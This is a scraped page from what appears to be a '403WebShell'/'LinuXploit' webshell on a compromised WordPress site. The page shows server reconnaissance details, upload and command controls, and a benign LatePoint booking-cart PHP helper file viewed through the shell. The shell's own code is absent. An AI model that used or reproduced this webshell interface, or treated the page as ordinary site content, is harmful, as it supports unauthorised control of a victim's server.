Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/latepoint/lib/helpers/carts_helper.php
<?php
/*
 * Copyright (c) 2023 LatePoint LLC. All rights reserved.
 */

class OsCartsHelper {
	public static $cart;

	public static function reset_cart(){
		unset($_COOKIE[LATEPOINT_CART_COOKIE]);
		self::$cart = self::create_cart();
	}

	public static function get_cart_uuid(){
		if(isset($_COOKIE[LATEPOINT_CART_COOKIE])){
			return sanitize_text_field( wp_unslash($_COOKIE[LATEPOINT_CART_COOKIE]));
		}else{
			return false;
		}
	}

	public static function can_checkout_multiple_items() : bool{
		$can = apply_filters('latepoint_can_checkout_multiple_items', false);
		if($can){
			$force_disabled = OsSettingsHelper::is_on('disable_checkout_multiple_items');
			if($force_disabled){
				return false;
			}else{
				return true;
			}
		}else{
			return false;
		}
	}

	public static function get_cart_id(){
		$cart = self::get_or_create_cart();
		return $cart->id;
	}

	public static function create_cart($persist = false){
		$cart = new OsCartModel();
		if(self::get_cart_uuid()){
			$cart->uuid = self::get_cart_uuid();
		}else{
			$cart->uuid = OsUtilHelper::generate_uuid();
			OsSessionsHelper::setcookie(LATEPOINT_CART_COOKIE, $cart->uuid);
			$_COOKIE[LATEPOINT_CART_COOKIE] = $cart->uuid;
		}
		if(!$persist) return $cart;
		if($cart->save()){
			return $cart;
		}else{
			return null;
		}
	}

	public static function clear_current_cart(){
		$cart = self::get_or_create_cart();
	}

	public static function is_current_cart_empty(){
		$cart = self::get_or_create_cart();
		$cart_items = $cart->get_items();
		return empty($cart_items);
	}

	public static function get_or_create_cart($persist = false){
		// no cart in cookie and not in database when asked for persistent one - create one
		if(!isset(self::$cart) || ($persist && empty(self::$cart->id))){
			if(empty(self::get_cart_uuid())){
				self::$cart = self::create_cart($persist);
			}else{
				// cookie is set, try to retrieve from DB
				$cart = new OsCartModel();
				$cart = $cart->where(['uuid' => self::get_cart_uuid()])->set_limit(1)->get_results_as_models();
				if(!empty($cart) && !empty($cart->id)){
					self::$cart = $cart;
				}else{
					self::$cart = self::create_cart($persist);
				}
			}
		}
		return self::$cart;
	}

	public static function add_item_to_cart(OsCartItemModel $item){
		$cart = self::get_or_create_cart(true);
		if($cart){
			$cart->add_item($item);
		}
		return false;
	}

	public static function add_bundle_to_cart(OsBundleModel $bundle) {
		$item = new OsCartItemModel();
		$item->variant = LATEPOINT_ITEM_VARIANT_BUNDLE;
		$item->item_data = wp_json_encode($bundle->generate_params_for_booking_form());
		self::add_item_to_cart($item);
	}

	public static function add_booking_to_cart(OsBookingModel $booking) {
		$item = new OsCartItemModel();
		$item->variant = LATEPOINT_ITEM_VARIANT_BOOKING;
		$item->item_data = wp_json_encode($booking->generate_params_for_booking_form());
		return self::add_item_to_cart($item);
	}

	public static function get_items_for_cart_id($cart_id) {
		$cart_items = new OsCartItemModel();
		return $cart_items->where(['cart_id' => $cart_id])->get_results_as_models();
	}



	public static function get_default_payment_portion_type($cart) {
		$regular_price = $cart->get_total();
		$deposit_price = $cart->deposit_amount_to_charge(['apply_coupons' => false]);
		if (($regular_price == 0) && ($deposit_price > 0)) {
			return LATEPOINT_PAYMENT_PORTION_DEPOSIT;
		} else {
			return LATEPOINT_PAYMENT_PORTION_FULL;
		}
	}


	public static function can_checkout(): bool {
		$cart = self::get_or_create_cart();
		return (count($cart->get_items()) > 0);
	}


	public static function create_cart_item_from_item_data(array $cart_item_data): OsCartItemModel {
		$cart_item = new OsCartItemModel();
		$cart_item->variant = $cart_item_data['variant'];
		$cart_item->item_data = wp_json_encode($cart_item_data['item_data']);

		$cart_item->subtotal = $cart_item_data['subtotal'];
		$cart_item->total = $cart_item_data['total'];
		$cart_item->coupon_discount = $cart_item_data['coupon_discount'];
		$cart_item->coupon_code = $cart_item_data['coupon_code'];
		$cart_item->tax_total = $cart_item_data['tax_total'];
		return $cart_item;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit